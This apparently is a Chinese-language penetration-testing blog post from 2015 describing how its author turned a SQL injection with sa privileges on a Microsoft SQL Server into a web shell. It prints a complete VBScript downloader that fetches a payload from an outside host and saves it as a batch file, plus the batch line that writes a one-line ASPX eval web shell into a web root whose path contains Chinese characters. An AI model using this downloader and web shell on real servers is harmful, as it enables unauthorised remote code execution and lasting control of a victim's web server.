MSSQL遇中文转Unicode编码无法正常写入Shell

渗透测试 2015-12-20 23:28 暂无评论

前几天练手,戳到一个SQL注入,SQL权限是sa按道理来说一般到这里就终止渗透了,但是因为是内网,想继续玩还是得有个Shell。在SQLMAP中如果获取一个OS-Shell的时候需要特定的SQL注入类型,可惜并不支持。

在系统后台中发现KindEditor没有洞。系统是2008 IIS7想来想去执行xp_cmdshell应该是没有问题的,应该只是说SQLMAP的问题,也没深入去研究SQLMAP。转Pangolin处理,执行cmd倒是没问题了,但是如果是在dir列目录到Web目录的时候直接读取不到,一头雾水。。

后在Pangolin里测试的时候执行了 echo 官网勿删 > c:\w.txt 随后 type c:\w.txt 返回 官网勿删 既然有中文路径写Shell有一定问题,那换一种姿势。

我们知道Web的路径在哪里了,剩下就是如何把Shell写到Web目录里边去,只有MSSQL执行xp_cmdshell的话,其实很简单的直接用下载者就可以了,那么我测试了一下远程下载文件下载失败,写入文件可以。那自己手动写一个vbs下载者就可以了。

首先注意一点,在写下载者的时候里面不能出现任何中文字符,也就是说我们不能直接下载一个Shell到Web目录中。

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.d0cs.org/shell.txt",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open() 
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\echo.bat",2

shell.txt中的内容:

echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["chopper"],"unsafe");%^> > x:\wwwroot(官网勿删)\x.aspx

保存成echo.bat后执行一下aspx一句话就写到Web目录下了。
写一句话的时候注意DOS下一些转义字符串,上边shell.txt的内容在2003测试通过。

暂无评论